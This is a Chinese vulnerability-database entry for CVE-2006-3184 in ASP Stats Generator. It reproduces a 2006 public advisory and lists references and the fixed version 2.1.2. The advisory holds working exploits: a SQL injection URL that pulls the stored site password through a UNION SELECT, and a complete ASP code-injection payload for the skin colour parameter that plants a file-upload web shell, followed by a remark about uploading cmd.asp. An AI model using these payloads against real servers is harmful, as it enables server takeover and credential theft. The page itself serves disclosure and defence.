ASP Stats Generator inc_skin_file.asp 直接静态代码注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110483 漏洞类型 未知
发布时间 2006-06-19 更新时间 2006-06-22
CVE编号 CVE-2006-3184 CNNVD-ID CNNVD-200606-434
漏洞平台 ASP CVSS评分 4.0
|漏洞来源
https://www.exploit-db.com/exploits/1931
https://www.securityfocus.com/bid/81423
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200606-434
|漏洞详情
ASPStatsGenerator存在直接静态代码注入漏洞。远程认证攻击者可以借助储存在inc_skin_file.asp中的,对settings_skin.asp的strAsgSknPageBgColour参数,执行任意ASP代码。
|漏洞EXP
/*------------------------------------------------
		IHS Public advisory 
-------------------------------------------------*/

ASP Stats Generator SQL-ASP injection - Code Excution 
ASP Stats Generator is a powerful website counter, completely written in ASP programming language.
The application is able to track web site activity generating graphical and statistical reports.
It combines a server side class with a javascript system to get a wide range of visitors' details.
http://www.weppos.com

Credit:
The information has been provided by Hamid Ebadi (IHS : IRAN HOMELAND SECURITY)
The original article can be found at: 

http://www.IHSteam.com
http://www.hamid.ir/security/


Vulnerable Systems:
ASP Stats Generator 2.1.1 - 2.1 and below

SQL injection :

Example :
The following URL can be used to trigger an SQL injection vulnerability in the pages.asp:
http://localhost/myasg/pages.asp?order='&mese=1

Microsoft JET Database Engine error '80040e14' 
Syntax error in string in query expression 'SUM(Visits) ''. 
/myasg/pages.asp, line 236 

Exploit :

http://localhost/asg/pages.asp?order=ASC union select sito_psw,1,1 from tblst_config&mese=1


ASP Code Injection  :
Input passed to the strAsgSknPageBgColour (and ...) in "settings_skin.asp"  isn't properly sanitised before being stored in the "inc_skin_file.asp".
This can be exploited to inject  arbitrary ASP code.

Exploit :

#F9F9F9" : dim path,hstr, mpath, content, filename: mpath=replace(Request.ServerVariables("PATH_TRANSLATED"),"/","\"): content = request("content"): filename = request("filename"): on error resume next: Dim objFSO,f: Set objFSO = Server.CreateObject ("Scripting.FileSystemObject"): if not filename = "" then: response.Write( "Have File.<BR>" ): path = objFSO.GetParentFolderName( mpath ): path = filename: end if: if not content="" then: response.Write( "Contented.<BR>" ): set f = objFSO.CreateTextFile( path ): response.Write( err.Description & "<BR>" ): f.Write( content ): response.Write( err.Description & "<BR>" ): f.close: end if	%><%=filename%><BR><%=path%><BR><%= Request("path") %><BR><FORM ID="SForm" method="post"><TABLE width="300" border="1" ID="Table1"><TR><TD><P align="center"><STRONG><FONT size="6">Upload File</FONT></STRONG></P></TD></TR><TR><TD><TEXTAREA name="content" rows="15" cols="46" ><%=content%></textarea></TD></TR><TR><TD><P align="center">File Name:<%=strAsgMapPathTo%><INPUT type="text" name="filename" value="<%=filename%>" ></P><P align="center"><INPUT type="submit" value="Upload" ID="Submit1" NAME="Submit1"></P></TD></TR></TABLE></FORM><% objFSO = Nothing: on error goto 0: hstr = "
[m.r.roohian]
attacker can upload  "cmd.asp" with this uploader and ...


Solution:
use ASP Stats Generator v2.1.2 (18/06/2006 )

# milw0rm.com [2006-06-19]
|受影响的产品
Asp Stats Generator Asp Stats Generator 2.1.1
|参考资料

来源:VUPEN
名称:ADV-2006-2414
链接:http://www.frsirt.com/english/advisories/2006/2414
来源:XF
名称:aspstatsgenerator-settingsskin-code-execution(27284)
链接:http://xforce.iss.net/xforce/xfdb/27284
来源:MILW0RM
名称:1931
链接:http://www.milw0rm.com/exploits/1931
来源:SECUNIA
名称:20721
链接:http://secunia.com/advisories/20721
来源:blog.asp-stats.com
链接:http://blog.asp-stats.com/index.php/2006/06/18/asp-stats-generator-v212/
来源:MISC
链接:http://www.hamid.ir/security/aspstats.txt
来源:MILW0RM
名称:1931
链接:http://milw0rm.com/exploits/1931